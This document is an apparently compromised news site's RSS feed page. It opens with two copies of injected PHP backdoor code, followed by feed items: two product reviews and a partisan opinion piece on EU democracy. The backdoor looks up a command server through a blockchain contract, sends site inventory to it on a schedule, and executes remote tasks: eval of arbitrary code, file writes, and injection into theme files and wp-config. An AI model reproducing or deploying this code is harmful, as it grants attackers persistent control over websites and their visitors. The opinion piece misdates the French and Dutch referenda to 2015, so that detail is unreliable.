// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); convenient – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 29 Mar 2021 19:46:45 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png convenient – Brief News https://briefnews.eu 32 32 This online startup makes shopping and caring for beautiful house plants convenient and easy — even for people who don’t think they have a green thumb https://briefnews.eu/this-online-startup-makes-shopping-and-caring-for-beautiful-house-plants-convenient-and-easy-even-for-people-who-dont-think-they-have-a-green-thumb/ https://briefnews.eu/this-online-startup-makes-shopping-and-caring-for-beautiful-house-plants-convenient-and-easy-even-for-people-who-dont-think-they-have-a-green-thumb/#respond Sat, 08 Sep 2018 20:33:00 +0000 http://briefnews.eu/this-online-startup-makes-shopping-and-caring-for-beautiful-house-plants-convenient-and-easy-even-for-people-who-dont-think-they-have-a-green-thumb/ The Insider Picks team writes about stuff we think you’ll like. Business Insider has affiliate partnerships, so we get a share of the revenue from your purchase.

leonandgeorge magenta triostarLéon & George

  • What sounds like it could be a recipe for disaster — an indoor house plant you never see in person that is packed into a cardboard box and shipped across the country to your door — is something online startup Léon & George pulls off surprisingly well. 
  • Its collection is full of indoor house plants ($ 139+) that are easy to care for and each order comes potted in a stylish ceramic planter. 
  • I tried the service with some initial hesitance, but found it lived up to its mission of making shopping for beautiful plants convenient and enjoyable.

Home and interior design magazines frequently espouse this simple trick for refreshing your space: add a house plant. It’s not only a strategic aesthetic move — research has found exposure to nature improves emotional well-being, making you happier and even more creative.

READ MORE: The Health Benefits of Gardening

]]> https://briefnews.eu/this-online-startup-makes-shopping-and-caring-for-beautiful-house-plants-convenient-and-easy-even-for-people-who-dont-think-they-have-a-green-thumb/feed/ 0 Democracy in the EU? Only when convenient for Brussels https://briefnews.eu/democracy-in-the-eu-only-when-convenient-for-brussels/ https://briefnews.eu/democracy-in-the-eu-only-when-convenient-for-brussels/#respond Wed, 30 May 2018 18:29:47 +0000 http://briefnews.eu/democracy-in-the-eu-only-when-convenient-for-brussels/ The European Union fancies as a champion of ‘democracy,’ but its action show this doesn’t cover dissenting views, whether from an Eurosceptic party in Italy, austerity-hating Greeks, or any folks voting against its grand plans.

Concerns about Europe’s disregard for the opinions of normal, non-technocrat, non-banker people have bubbled to the surface of social media after Italy’s recent close-call with the near-formation of a government with a clear democratic mandate.  But the EU’s glaring democracy deficit has been an inconvenient characteristic of the bloc since its founding.

The Lisbon Treaty: Because only important people need to approve treaties

Once upon a time – in 2004, to be exact – there was something called the Constitution for Europe. This proud document was meant to codify all the wonderful things that the European Union stood for: human dignity, free markets, the rule of law and democracy. Although it was enthusiastically agreed upon and signed by EU bigwigs, the constitution still required rubber-stamp ratification from each member state.

Much to the chagrin of Europe’s visionary leaders, voters in France and the Netherlands rejected this sacred document during a series of referenda held across Europe in 2015. In a refreshingly blunt speech given after the failed Dutch referendum, then-prime minister Jan Peter Balkenende nonchalantly remarked: “The idea of Europe has lived for the politicians, but not the Dutch people. That will have to change.”

And change it did. Sort of.

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EU Budget Commissioner Oettinger holds a news conference in Brussels © Francois Lenoir

After a great deal of soul searching, Europe’s top minds came up with an ingenious way to ensure that there would be no more democratic roadblocks interfering with their grand plans for Europe: The constitution would simply be rebranded as the Treaty of Lisbon – and this time, no referendums. Instead, the treaty would be ratified by parliamentary processes.

Actually, there was one country which foolishly allowed its citizenry to vote on the Lisbon Treaty – but luckily this error of judgment was quickly rectified. In a 2008 referendum, Irish voters rejected the treaty by a majority of 53 percent. Not to be dissuaded by the will of the people, Ireland held another referendum on the treaty a year later – and this time the plebes voted the ‘correct’ way.

The Lisbon Treaty’s ultimate triumph over the annoying will of the European people would be the first among many victories against the EU’s arch nemesis – the democratic referendum.

Greeks vote against EU-imposed austerity, Brussels laughs and laughs

In July 2015, the Greek people voted decisively to reject harsh austerity policies sought by the EU and other global institutions in exchange for modest debt relief and a multi-billion-euro bailout.

But the Greek government, strong-armed by Germany and the European Central Bank, ultimately ignored the referendum results, and swiftly introduced tough austerity measures described as necessary in order to thwart economic collapse.

Commenting on the brazen affront to basic democratic principles, former speaker of the Greek Parliament Zoe Konstantopoulou said that the rubbished referendum showed how “Europe has steadily departed from its principal founding goals, democracy, human rights and freedoms and the prosperity of its people and its societies.”

Brexit: Making an example of EU party-poopers

In a 2016 referendum, which has since created incalculable reams of breathless headlines, Britain voted to leave the European Union in clear violation of Brussels’ zero-tolerance policy for anything that it doesn’t like.

Top EU officials wasted no time in calling the democratic result “stupid” and have even urged British youth to reverse the decision.

Although the UK is scheduled to depart from the EU in March, 2019, Brussels has shown little enthusiasm for the necessary negotiations and agreements to ensure an orderly transition. True to form, some within Britain’s political elite are openly campaigning to prevent Brexit from taking place. Former British prime minister Tony Blair has called for a second referendum, and has urged Brussels to do all it can to persuade the UK to remain in the bloc.

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© M. Popow/ Global Look Press

Aside from its bureaucratic foot-dragging and patronizing comments, Brussels has also cynically stoked fears about the economic and social consequences of Brexit. This tactic has been especially visible in the bloc’s dealings with Dublin.

“What looks like Brussels love is really an expedient exploitation of Irish concerns to try to weaken British democracy,” Brendan O’Neill, editor of Spiked Online, noted last year. “No one in Britain wants the border between the Republic of Ireland and Northern Ireland to ossify. No one’s arguing for that. Rather, this fear of a firmer border has been ramped up by Brussels to paint Brexit as a harbinger of division.”

Recalling how pro-EU media had accused the Irish of being “treacherous” children who had “spat in the soup” after they voted against the Lisbon Treaty in 2008, O’Neill observed: “EUphiles suddenly love Ireland for one reason only: they see you as a potential truncheon against Brexit.”

Spain bludgeons peaceful independence movement, EU predictably silent

In October 2017, Catalonia held an independence referendum which had been declared illegal by Spain’s constitutional court. Organisers said 90 percent of voters backed independence, but turnout was less than 45 percent. Many voters who did go to the polls were greeted with police batons and arrests. More than 400 Catalans were reportedly injured as police forcibly removed voters from polling stations.

After Catalonia’s parliament honored the result (a massive EU no-no), Madrid dissolved the region’s parliament, sacked its leaders and called a snap election.

Usually eager to issue sanctimonious statements, Brussels was tellingly tight-lipped about the troubling human rights situation which unfolded in Catalonia. After all, the referendum was an “internal Spanish matter,” so why would the EU get involved?

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Italian President Sergio Mattarella © Alessandro Bianchi

Quitaly?

We’ve now reached the present day, and the EU’s complicated relationship with democracy continues to manifest itself in new, even surprising ways. This week, Italy’s new government was essentially blocked from assuming power, after president Sergio Mattarella refused to approve the new minister of economy, arguing that his Eurosceptic views could endanger Italy’s eternal commitment to the euro. The move – described by analysts and blatantly unconstitutional – was followed by Mattarella’s appointment of a former IMF director as interim prime minister, who will now be charged with forming a different, more responsible government.

“They are with the bankers and the powerful ones. We are with the Italian people,” Matteo Salvini, the leader of Lega Nord, tweeted on Monday, shortly after Mattarella announced his decision to make ex-IMF head Carlo Cottarelli interim prime minister. The defiant message was accompanied by a photograph showing Mattarella, Cottarelli, former prime minister Matteo Renzi, and German Chancellor Angela Merkel and President Mattarella. Salvini is pictured below, rallying a crowd.

There will almost certainly be new elections in the coming months, and the Euroskeptic parties, now more galvanized than ever, will likely turn parliamentary elections into a plebiscite on Italy’s relationship with the EU. Long-overdue karma for Brussels? Perhaps.

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]]> https://briefnews.eu/democracy-in-the-eu-only-when-convenient-for-brussels/feed/ 0 One of the most convenient upgrades I’ve made to my daily life cost under $35 https://briefnews.eu/one-of-the-most-convenient-upgrades-ive-made-to-my-daily-life-cost-under-35/ https://briefnews.eu/one-of-the-most-convenient-upgrades-ive-made-to-my-daily-life-cost-under-35/#respond Sun, 22 Oct 2017 00:19:08 +0000 http://briefnews.eu/one-of-the-most-convenient-upgrades-ive-made-to-my-daily-life-cost-under-35/ The Insider Picks team writes about stuff we think you’ll like. Business Insider has affiliate partnerships, so we get a share of the revenue from your purchase.   

71yKNbPJXyL._SL1300_AmazonSometimes the simplest purchases make the biggest impact on your day-to-day life.

I’ve been spending a lot time in the kitchen lately, and while cooking using clean ingredients has helped me get healthier, I realized I needed to drink more water. 

Like many people, I’ve owned a basic filtered water pitcher for years, but I drink water by the pint. That meant filling up the pitcher, waiting for the water to get cold, and having maybe two full glasses ready to drink.

Another problem was that the pitcher would filter water slowly, so I ended up having to refill it in multiple stages. After living with this problem for years, I decided to solve it once and for all by buying a giant Brita filtered water dispenser. 

What a difference. 

The most important feature of this Brita dispenser is its capacity: 18 cups, or nine pint glasses’ worth of water. I drink around two pints a day, so filling it up on a Sunday means I don’t have to worry about it until Thursday or Friday. The only reason that may change is that having a lot of fresh, cold water ready is encouraging me to drink more of it.

While its design isn’t really groundbreaking, I’ve been surprised how little space this water dispenser has taken up in my fridge. It sits on the middle shelf, with its spigot hanging over the front so I can fill my glass without wasting too much time. I still have more than enough room for the week’s worth of ingredients I buy for meals, and a takeout container or two when I order in.

Speaking of time, this thing fills up fast; it’s just small enough to fit in my sink, so I just pop off the little door on its top cover and turn my faucet on. The water is filtered quickly enough that I just stick the dispenser into my fridge when the top tank is full. By the time I’m ready to take a drink, the dispenser is full enough for a few glasses of cold water.

